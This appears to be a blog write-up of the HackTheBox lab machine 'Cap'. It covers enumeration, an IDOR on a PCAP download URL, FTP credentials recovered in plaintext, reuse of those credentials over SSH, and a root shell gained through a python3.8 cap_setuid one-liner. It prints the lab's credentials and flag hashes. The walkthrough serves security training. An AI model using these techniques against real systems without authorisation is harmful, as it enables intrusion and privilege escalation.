Back to Blog
HTB Write-up HackTheBox / Cap
HTB Write-up

IDOR to Root.
How Cap Punishes
Lazy Authorization.

A security dashboard that lets you view your own packet captures. Change one number in the URL and you can view everyone else's too.


Machine Cap
Platform HackTheBox
OS Linux (Ubuntu 20.04.2)
Difficulty Easy
Date 20 Mar 2026
Time 2h 13min
Status Rooted
Flags User + Root

The Machine

Cap is a Linux machine running a Python/Gunicorn-based security dashboard. The dashboard lets authenticated users run network captures and download the resulting PCAP files. The intended path is IDOR on the download URL, then credential extraction from the PCAP, then Linux capability abuse for root.

It is a straightforward box but it covers two of the most common real-world issues that appear in web application assessments: insecure direct object references and plaintext protocol credential capture. The privilege escalation via capabilities is an excellent reminder to always run getcap after foothold.

PortServiceNotes
21FTP (vsftpd 3.0.3)Anonymous login disabled
22SSH (OpenSSH 8.2p1)Shell vector once credentials obtained
80HTTP (Gunicorn)Security dashboard, logged in as nathan

Enumeration

$ nmap -sC -sV --min-rate 1000 -oA cap 10.129.9.89
Nmap scan showing three open ports: FTP 21, SSH 22, HTTP 80 on Gunicorn

Three open ports: FTP, SSH, and HTTP. Anonymous FTP login failed immediately. The web application on port 80 is where the attack surface is.

Directory enumeration reveals three endpoints: /ip, /netstat, and /data.

Gobuster directory enumeration showing /data, /ip, and /netstat endpoints

The /data endpoint runs a security snapshot and presents a download link for the resulting PCAP file. The dashboard itself is a Python/Gunicorn security monitoring web app.

Security dashboard web application logged in as Nathan

The URL pattern for the PCAP download is:

/data/1

A sequential integer ID with no authorisation check. That is an IDOR waiting to be tested.


IDOR: Accessing Another User's Capture

The current session generates /data/1. Changing the ID to /data/0 returns a different PCAP file from an earlier session belonging to another user. No error. No redirect. No authorisation check whatsoever.

GET /data/0 HTTP/1.1
Host: 10.129.9.89
200 OK
Content-Disposition: attachment; filename="0.pcap"
Finding

PCAP files are stored at sequential integer IDs with no ownership check. Any authenticated user can retrieve any other user's packet capture by decrementing the ID. This violates OWASP A01:2021 (Broken Access Control).


PCAP Analysis: Extracting FTP Credentials

Opening 0.pcap in Wireshark and filtering by the FTP protocol exposes a full authentication session in plaintext.

Wireshark filter: ftp
Wireshark showing full FTP session packets in the capture file
220 (vsFTPd 3.0.3)
USER nathan
331 Please specify the password.
PASS Buck3tH4TF0RM3!
230 Login successful.
Wireshark FTP packet with PASS Buck3tH4TF0RM3! highlighted in plaintext
Finding

FTP transmits credentials in cleartext. The username nathan and password Buck3tH4TF0RM3! are visible to anyone who can intercept the traffic, or in this case, anyone who can access the PCAP file via IDOR.


Initial Access: SSH with FTP Credentials

The next question is whether these credentials work on other services. Password reuse is common. SSH is the most valuable target given port 22 is open.

$ ssh nathan@10.129.9.89
nathan@10.129.9.89's password: Buck3tH4TF0RM3!
Welcome to Ubuntu 20.04.2 LTS
nathan@cap:~$
SSH session established as nathan on Cap machine
Finding

FTP credentials accepted on SSH. The same password was reused across two different services with no isolation. This is OWASP A07:2021 (Identification and Authentication Failures).

User flag retrieved from /home/nathan/user.txt.

cat user.txt showing the user flag hash
USER 2da49c5d84c383e1e13abec0da018f30

Privilege Escalation: cap_setuid on Python 3.8

With a shell as nathan, the next step is privilege escalation. Standard checks: sudo permissions, SUID binaries, cron jobs. All clean. Linux capabilities are the next vector.

$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
getcap output showing cap_setuid on python3.8

cap_setuid+eip on Python 3.8 means the binary can call setuid() to change its effective user ID. There is no setuid bit on the file itself, so find -perm -4000 would miss it. Capabilities are invisible without getcap.

With cap_setuid present, the exploit is a one-liner: call os.setuid(0) to become root, then drop into a shell.

$ python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:~#
Finding

cap_setuid+eip misconfigured on /usr/bin/python3.8. A single Python one-liner sets UID to 0 and spawns a root shell. No password required. No SUID bit visible. Capabilities are a silent privilege escalation vector.

ROOT 6169994c702f3b70e1c876a51c0dd169
HackTheBox Cap solved confirmation screen, pwned 2 March 2026

Attack Chain

StepTechniqueResult
1Nmap scanFTP, SSH, HTTP on Gunicorn identified
2Web enumerationSecurity dashboard with /data/<id> PCAP download
3IDOR on /data/0Downloaded another user's PCAP file
4Wireshark FTP filterExtracted nathan:Buck3tH4TF0RM3! in plaintext
5SSH with FTP credentialsShell as nathan, user flag captured
6getcap -r /cap_setuid+eip on Python 3.8 discovered
7os.setuid(0) one-linerRoot shell, root flag captured

Vulnerabilities Found

VulnerabilityLocationImpact
IDOR/data/<id>Access to any user's packet capture
FTP plaintext credentialsPCAP fileUsername and password recovered from traffic
Password reuseSSH serviceFTP credentials valid for SSH access
cap_setuid on Python 3.8/usr/bin/python3.8One-liner privilege escalation to root

Lessons Learned

  • Always test IDOR on sequential URL parameters. Any URL containing a number is worth testing. Change /data/1 to /data/0 immediately. The pattern costs nothing and catches a high percentage of access control failures.
  • FTP is not a secure protocol. Credentials pass in cleartext. If the traffic is captured anywhere, the credentials are exposed. Use SFTP or SCP. Always.
  • Password reuse multiplies blast radius. One credential set should not open multiple services. Compromise on FTP should not mean compromise on SSH. Credential isolation per service is fundamental.
  • Run getcap after every foothold. find -perm -4000 shows SUID bits. It does not show capabilities. getcap -r / 2>/dev/null is a separate check and should be automatic. This box would have been missed entirely without it.
  • cap_setuid is as dangerous as a SUID bit. The capability grants the same privilege escalation path as setting SUID on the binary. Audit capabilities the same way you audit SUID files.
Next AS-REP Roasting to DCSync. Full Domain Compromise.
Found this useful?

Share it with your network.